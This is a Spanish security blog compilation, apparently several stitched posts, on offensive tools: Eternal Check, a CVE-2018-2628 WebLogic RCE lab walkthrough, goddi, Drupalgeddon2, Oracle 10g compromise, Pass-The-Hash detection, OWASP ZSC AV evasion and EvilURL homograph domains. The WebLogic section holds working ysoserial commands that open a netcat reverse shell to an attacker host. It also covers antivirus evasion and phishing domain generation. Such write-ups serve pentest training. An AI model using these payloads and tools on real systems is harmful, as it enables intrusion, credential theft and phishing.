Eternal Check: comprueba si tu IP es vulnerable a Eternal Blue, Romance, Synergy y Champion

Eternal Check verifica si una ip específica es vulnerable a los exploits Eternal Blue, Eternal Romance, Eternal Champion y Eternal Synergy. Eternal Check usa los archivos ejecutables originales del leak de Shadow Brokers para verificar los objetivos, requiere wine de 32 bits instalado (no wine 64). Eternal Check también verifica que los pipes Smb son vulnerables en la máquina objetivo para ser explotados.

Eternal Check se puede descargar en:

https://github.com/peterpt/eternal_check

Requisitos:
- nmap
- winbind
- wine32
- wget

Uso:
- ejemplo 1 : ./echeck
- ejemplo 2 : ./echeck 192.68.2.56
 

Referencias sobre las vulnerabilidades:

RCE (serialización) en Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)

El pasado 17 de abril, Oracle publicó un parche para una vulnerabilidad de serialización crítica (CVE-2018-2628). Dicha vulnerabilidad fue reportada en noviembre del año pasado y permitía la ejecución remota de comandos sin autenticación en los componentes del core de Weblogic server (WLS). Se confirmaron como vulnerables las versiones 10.3.6.0, 12.1.3.0, 12.2.1.2 y 12.2.1.3.

El punto de entrada para el ataque es la IP del servicio T3, por defecto sobre el puerto 7001. Recordar que el protocolo T3 se usa para transportar datos entre el Servidor WebLogic y otros programas Java, incluidos los clientes y otras instancias de WebLogic. El servicio desempaquetará la estructura del Object y para leerlo realizará una segunda petición a un listener JRMP (Java Remote Method Protocol). En ese momento se enviará de vuelta un payload malicioso (ysoserial.exploit.JRMPListener) que al deserializarlo dará como resultado la ejecución remota de código.

Para probarlo, vamos a montar un entorno vulnerable. Primero levantamos un Weblogic server (10.3.6.0) en un contenedor docker:
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

# docker run -d -p 192.168.1.36:7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
8e2326f0e6c90c3b4d3072d4a77a745ebe2884235fa58b4be7d56ba855c0a85a

# docker ps
CONTAINER ID        IMAGE                                 COMMAND              CREATED             STATUS              PORTS                                   NAMES
8e2326f0e6c9        zhiqzhao/ubuntu_weblogic1036_domain   "startWebLogic.sh"   27 seconds ago      Up 26 seconds       5556/tcp, 192.168.1.36:7001->7001/tcp   elastic_wright

# netstat -an | grep 7001
tcp        0      0 192.168.1.36:7001       0.0.0.0:*               ESCUCHAR
unix  3      [ ]         FLUJO      CONECTADO     27001    /run/systemd/journal/stdout

A continuación, levantaremos el JRMPListener de yoserial y especificaremos como payload la conexión netcat contra la máquina del atacante:
# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
* Opening JRMP listener on 1099

El siguiente paso, lo habéis adivinado, será poner nc a la escucha:
# nc -nlvp 4040
listening on [any] 4040 ...

Para finalmente ejecutar el exploit y obtener la shell reversa:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port]
python exploit.py 192.168.1.36 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099

# nc -nlvp 4040
listening on [any] 4040 ...
connect to [127.0.0.1] from (UNKNOWN) [192.168.1.36] 57486

Otro ejemplo, esta vez ejecutando la calculadora a modo de PoC:
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Fuentes:
- https://github.com/brianwrf/CVE-2018-2628
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- https://github.com/brianwrf/ysoserial
- http://www.nsfocus.com.cn/content/details_141_2738.html
- https://paper.tuisec.win/detail/bc41af44c9545f3
- https://github.com/jas502n/CVE-2018-2628

Extrayendo info del Directorio Activo... en Go! (goddi)

goddi (go dump domain info) es una herramienta escrita en Go que funciona tanto en Windows como en Linux y sirve para la obtención de información de directorio activo: extrae usuarios de dominio, grupos, controladores de dominio, etc. y lo vuelca a CSV.

Permite conexiones StartTLS y TLS (tls.Client func), estas últimas de forma predeterminada. Todos los resultados se van dejando en /csv/ en el directorio de trabajo actual. La información que recopila es la siguiente:

- Usuarios del dominio. También busca palabras clave en Description y escribe la información en un csv por separado.
- Usuarios en grupos de usuarios privados (DA, EA, FA).
- Los usuarios con contraseñas que no expiran.
- Cuentas de usuario que se han bloqueado o deshabilitado.
- Cuentas de máquina con contraseñas de más de 45 días.
- Equipos de dominio.
- Controladores de dominio.
- Sitios y subredes.
- SPN e incluye un flag en el csv si es domain admin
- Relaciones de confianza del dominio.
- Grupos de dominio.
- OU de dominio.
- Política de cuentas del dominio.
- Usuarios delegados del dominio.
- GPO de dominio.
- Roles de dominio FSMO.
- Contraseñas LAPS.
- Contraseñas GPP. En Windows, se establece el mapeo Q por defecto. Si se usa, se intentará con otro mapping hasta que lo consiga R, S, etc. ... En Linux, se utiliza /mnt/goddi.

Instalación

Usa los ejecutables en la sección de releases. Si quieres compilarlo tu mismo, asegúrate de que el entorno go esté configurado de acuerdo con el documento de configuración correspondiente. Goddi también usa el siguiente paquete.

go get gopkg.in/ldap.v2

Windows

Probado en Windows 10 y 8.1 (go1.10 windows/amd64).

Linux

Probado en Kali Linux (go1.10 linux/amd64).

Se debe instalar umount, mount y cifs-utils para mapear un recurso compartido para GetGPP:

apt-get update
apt-get install -y mount cifs-utils

Asegúrate de que no haya nada montado en /mnt/goddi y de ejecutarlo con sudo.

Repositorio de writeups de HackTheBox

Muchas veces en pentesting hay varias formas distintas de obtener una shell o de elevar privilegios, ya sea porque se utilizan distintos exploits, herramientas, comandos o incluso técnicas. Y no nos conformamos con conocer sólo un camino, queremos saber qué podríamos haber hecho mejor o simplemente distinto.


Es por eso que hemos creado un repositorio en Github para que todos los que queráis podáis compartir vuestros writeups o solucionarios de máquinas de HackTheBox y leer los de los demás. Ya sean de máquinas retiradas o máquinas activas... pero eso sí... los writeups de máquinas activas sólo podrán abrirse con la flag de root correspondiente, así que no te valdrán si no has hecho la máquina previamente. ¡Nada de spoilers!

Así que si quieres añadir tus propios writeups, notas, scripts u otro material para resolver las máquinas, puedes hacerlo a través de un 'pull request' o enviándonos un correo electrónico a: hackplayers_at_Ymail.com (contacto). De esta forma, se agregará tu profile a nuestra lista de contribuyentes y también recibirás un enlace de invitación a un grupo exclusivo de Telegram donde se comparten hints y metodologías para solucionar los "boot2root" de HacktheBox. Eso sí, el requisito mínimo para ingresar al grupo "especial" de Telegram es también tener un nivel de hacker o superior (no script kiddies).

https://github.com/Hackplayers/hackthebox-writeups

"Seguir un sólo camino es retroceder". - Ígor Fiódorovich Stravinsk

¡Llega #Drupalgeddon2! RCE inyectando en arrays renderizables

Allá por el año 2014 se descubrió un SQLi en Drupal tan grave que en cuestión de horas permitió automatizar ataques que comprometieron a cientos o quizás miles de servidores vulnerables. Fue lo que se denominó Drupalgeddon y continuó explotándose incluso dos años después de su descubrimiento.... Pues bien, segundas partes nunca fueron buenas y hace dos semanas se avisó de la existencia de otra vulnerabilidad crítica en Drupal (con una puntuación de 21 sobre 25 en el ranking del NIST) que fue bautizada como su sucesora: Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600).

Si bien inicialmente no se conocía demasiado sobre esta nueva vulnerabilidad, Checkpoint publicó el detalle recientemente y ya tenemos los primeros exploits disponibles que permiten la ejecución remota de código incluso sin autenticación y en todas las versiones de Drupal de la 6 a la 8, excepto las últimas de cada release que precisamente se publicaron para corregir este fallo: son vulnerables los Drupal anteriores a 7.58, 8.x anteriores a 8.3.9, 8.4.x anteriores a 8.4.6 y 8.5.x anteriores a 8.5.1.

El problema radica fundamentalmente en la inadecuada sanitización de las solicitudes AJAX de Form API (FAPI) que pueden permitir a un atacante inyectar potencialmente una carga maliciosa en la estructura de un formulario interno.

Aunque se introdujo en la versión 6 no fue hasta la versión 7 cuando se generalizó este API para los formularios con "arrays renderizados".  Esta API extendida se usa para representar la estructura de la mayoría de los elementos de la interfaz de usuario en Drupal, como páginas, bloques, nodos y demás. Los arrays renderizables contienen metadatos que se usan en el proceso de renderizado. Estos arrays renderizables son una estructura de clave-valor en los que las claves de propiedad comienzan con un signo de almohadilla (#), por ejemplo:

[
‘#type’ => ‘markup’,
‘#markup’ => ‘some text’,
‘#prefix’ => ‘
’,
‘#suffix’ => ‘

]

Como vector de ataque tenemos por defecto algunos formularios disponibles como el de registro de usuario:


En la estructura de dicho formulario se inyecta una array renderizable y por ejemplo el campo “Email address” no sanitiza la entrada que recibe.



Vulnerando una base de datos Oracle 10g: de cero hasta conseguir una shell

En noviembre de 2015 Alexander Dmitrenko publicó un vídeo que todavía es muy recomendable de ver, sobretodo si tienes entre manos realizar un pentest o auditar una base de datos Oracle. En concreto la base de datos comprometida es una Oracle 10g y os animo a echar un vistazo a cada uno de los pasos para comprobar cómo es posible llegar incluso hasta obtener una shell en el servidor: 

- (1:32) Escaneo e identificación del puerto 1521/TCP con nmap
- (2:09) Obtención del SID de la base de datos (por fuerza bruta) por medio del módulo auxiliary/admin/oracle/sid_brute de Metasploit
- (5:08) Obtención de las credenciales también mediante fuerza bruta usando el módulo auxiliary/scanner/oracle/oracle_login
- (7:32) Comprobación de credenciales y obtención de dba_users (cliente sqlplus)
- (10:34) Comprobación del módulo DBMSSCHEDULER con ODAT (herramienta de ataque para base de datos Oracle)
- (11:10) Preparación de payload para shell reversa con msfvenom
- (11:50) Subida del binario mediante la librería DBMSSCHEDULER con la herramienta ODAT
- (12:44) Preparación del handler de Metasploit
- (13:15) Ejecución del archivo con el mismo método mediante ODAT
- (13:24) Obtención de shell reversa

Ketshash: detectando ataques Pass-The-Hash mediante el visor de eventos

Seguro que ya conocéis Pass-The-Hash (PTH), una técnica que permite a un atacante iniciar el movimiento lateral en la red a través del protocolo NTLM, sin la necesidad de la contraseña del usuario. 

Windows almacena diferentes tipos de valores hash, derivados de la contraseña del usuario, para permitir el acceso a diferentes servicios sin la necesidad de volver a ingresar la contraseña. Uno de esos tipos de hash es un hash MD4 de la contraseña también conocido como NTLM hash.

El protocolo NTLM utiliza el hash NT para la autenticación y no hace un 'salt' de la contraseña, lo que a su vez significa que si uno toma el valor del hash, la autenticación se puede realizar sin conocer la contraseña real.

Cuando se lleva a cabo una conexión NTLM se registrará en la máquina destino un Evento con ID 4624 ("Una cuenta inició sesión correctamente") con Logon Type 3 ("Un usuario o computadora inició sesión en esta computadora desde la red") y Authentication Package NTLM (o por nombre de proceso de logon NtLmSsp):


Un atacante por lo tanto puede autenticarse sin una contraseña pasando el hash. Para ello tendrá dos opciones:

- Inyectar el hash en LSASS.exe y abrir sesión con el hash inyectado.
- Implementar parte del protocolo NTLM para la autenticación con el hash y enviar comandos a través de la red con protocolos como SMB, WMI, etc.

OWASP ZSC - Shellcode/Obfuscate Code Generator

Ya sabéis que normalmente se utilizan distintas técnicas para eludir los antivirus y cargar archivos maliciosos en sistemas comprometidos utilizando generadores de shellcode personalizados (stubs propios). Por otro lado, el antivirus basa parte de sus capacidades de detección en firmas para identificar malware y cuando se utilizan crypters o encoders muy conocidos, como msfvenom, los archivos generados son fácilmente identificados.

OWASP ZSC es un software de código abierto escrito en Python que permite generar shellcodes personalizados y ofuscar los scripts usando distintos tipos de codificación de forma aleatoria, es decir, no se obtendrá el mismo shellcode aunque se utilice el mismo comando para generarlo, lo que posibilitará bypassear muchos sistemas antivirus. Además se puede ejecutar en Windows/Linux/OSX con Python lo que le hace verdaderamente interesante.
Demo (debugging final0 challenge Protostar):
asciicast

Reconnoitre: herramienta de enumeración automática para el OSCP

Codingo, un pentester australiano destacado por mantener NoSQLMap, tiene una herramienta multiproceso muy útil para automatizar las fases iniciales de enumeración contra una máquina "boot2root", es decir, una máquina vulnerable de un lab tipo OSCP. De hecho, fue desarrollada precisamente como herramienta de reconocimiento para los laboratorios OSCP para automatizar la recopilación de información y la enumeración de servicios mientras se crea una estructura de directorios para almacenar los resultados, hallazgos y exploits utilizados para cada host, así como sugerencias de otros comandos para ejecutar y estructuras de directorios para almacenar imágenes, otros ficheros y flags.

Las dependencias son Python 2.7 con el módulo SimpleJson, nmap, snmpwalk y nbtscan, además de las típicas wordlists para hacer dir fuzzing.

Instalación

git clone https://github.com/NoorQureshi/Reconnoitre && cd Reconnoitre
cd reconnoitre
python reconnoitre.py -h
# python reconnoitre.py -h
usage: reconnoitre.py [-h] -t TARGET_HOSTS -o OUTPUT_DIRECTORY [-w WORDLIST]
                      [-p PORT] [--pingsweep] [--dns] [--services]
                      [--hostnames] [--snmp] [--quick] [--virtualhosts]
                      [--ignore-http-codes IGNORE_HTTP_CODES]
                      [--ignore-content-length IGNORE_CONTENT_LENGTH]
                      [--quiet] [--exec] [--simple_exec]

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_HOSTS       Set a target range of addresses to target. Ex
                        10.11.1.1-255
  -o OUTPUT_DIRECTORY   Set the output directory. Ex /root/Documents/labs/
  -w WORDLIST           Set the wordlist to use for generated commands. Ex
                        /usr/share/wordlist.txt
  -p PORT               Set the port to use. Leave blank to use discovered
                        ports. Useful to force virtual host scanning on non-
                        standard webserver ports.
  --pingsweep           Write a new target.txt by performing a ping sweep and
                        discovering live hosts.
  --dns                 Find DNS servers from a list of targets.
  --services            Perform service scan over targets.
  --hostnames           Attempt to discover target hostnames and write to
                        0-name.txt and hostnames.txt.
  --snmp                Perform service scan over targets.
  --quick               Move to the next target after performing a quick scan
                        and writing first-round recommendations.
  --virtualhosts        Attempt to discover virtual hosts using the specified
                        wordlist.
  --ignore-http-codes IGNORE_HTTP_CODES
                        Comma separated list of http codes to ignore with
                        virtual host scans.
  --ignore-content-length IGNORE_CONTENT_LENGTH
                        Ignore content lengths of specificed amount. This may
                        become useful when a server returns a static page on
                        every virtual host guess.
  --quiet               Supress banner and headers to limit to comma dilimeted
                        results only.
  --exec                Execute shell comamnds from recommendations as they
                        are discovered. Likely to lead to very long execute
                        times depending on the wordlist being used.
  --simple_exec         Execute non-brute forcing shell comamnds only as they
                        are discovered.

EvilURL v2.0: un generador de dominios unicode para ataques homográficos IDN

Los ataques homográficos en nombres de dominio internacionalizados (IDN) son aquellos en los que se registran nombres de dominio maliciosos que en apariencia son idénticos o muy similares a los que intentan suplantar. Se consiguen gracias a las similitudes de algunos caracteres de diferentes idiomas. Por ejemplo, los caracteres a, с, е, о, р, х, у son idénticos en la tabla UNICODE U+0430 (estándar de codificación para el español, inglés, etc.) y U+0061 (caracteres círilicos). El resultado a la hora de comparar dominios fraudulentos con los originales es inapreciable a la vista, lo cuál es un auténtico regalo para la industria del phishing.

Mediante la siguiente herramienta que os traemos hoy es posible generar fácilmente dominios maliciosos unicode para realizar ataques homográficos IDN y también detectarlos. Se trata de EvilURL escrita en Python por UndeadSec, sencilla pero muy útil:

git clone https://github.com/UndeadSec/EvilURL.git
cd EvilURL
python3 evilurl.py


Github: https://github.com/UndeadSec/EvilURL